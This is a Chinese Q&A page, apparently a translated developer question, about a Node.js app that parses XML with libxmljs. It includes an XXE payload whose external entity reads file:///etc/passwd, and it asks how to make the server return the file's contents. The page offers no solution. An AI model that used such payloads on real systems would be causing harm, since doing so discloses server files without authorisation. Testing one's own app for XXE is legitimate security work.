问题描述
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY bar SYstem "file:///etc/passwd" >]>
<fetchdata>
<username>&bar;</username>
</fetchdata>
这是我在 nodejs 控制器文件中传递给后端的 XML 代码。
var products = libxmljs.parseXmlString(req.body.string.toString('utf8'),{noent:false,noblanks:true});
x = products.childNodes()[0].childNodes()[0];
使用上面的代码,我可以提取“fetchdata”中的文本。然后我将提取的词发送给数据库操作。
console.log("data output = "+data.output);
if(data.message == 'notfound')
res.send({"message":"notfound","output":data.output});
else
res.send({"message":"found","output":data.output});
这是我从数据库(模型)文件取回值后的代码。 console.log 输出是“&bar;”,正如我所料,但在我用 res.send 发送输出后,在 burp 套件中它变成了:
现在,我想执行 XML 代码,并将输出发送回前端,在本例中为文件“/etc/passwd”。据我说,在 burp 套件中,文件内容应该出现在返回的 json 的输出部分中。我们如何在 node.js 中执行 XML(恶意)并将其输出作为结果发回。
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)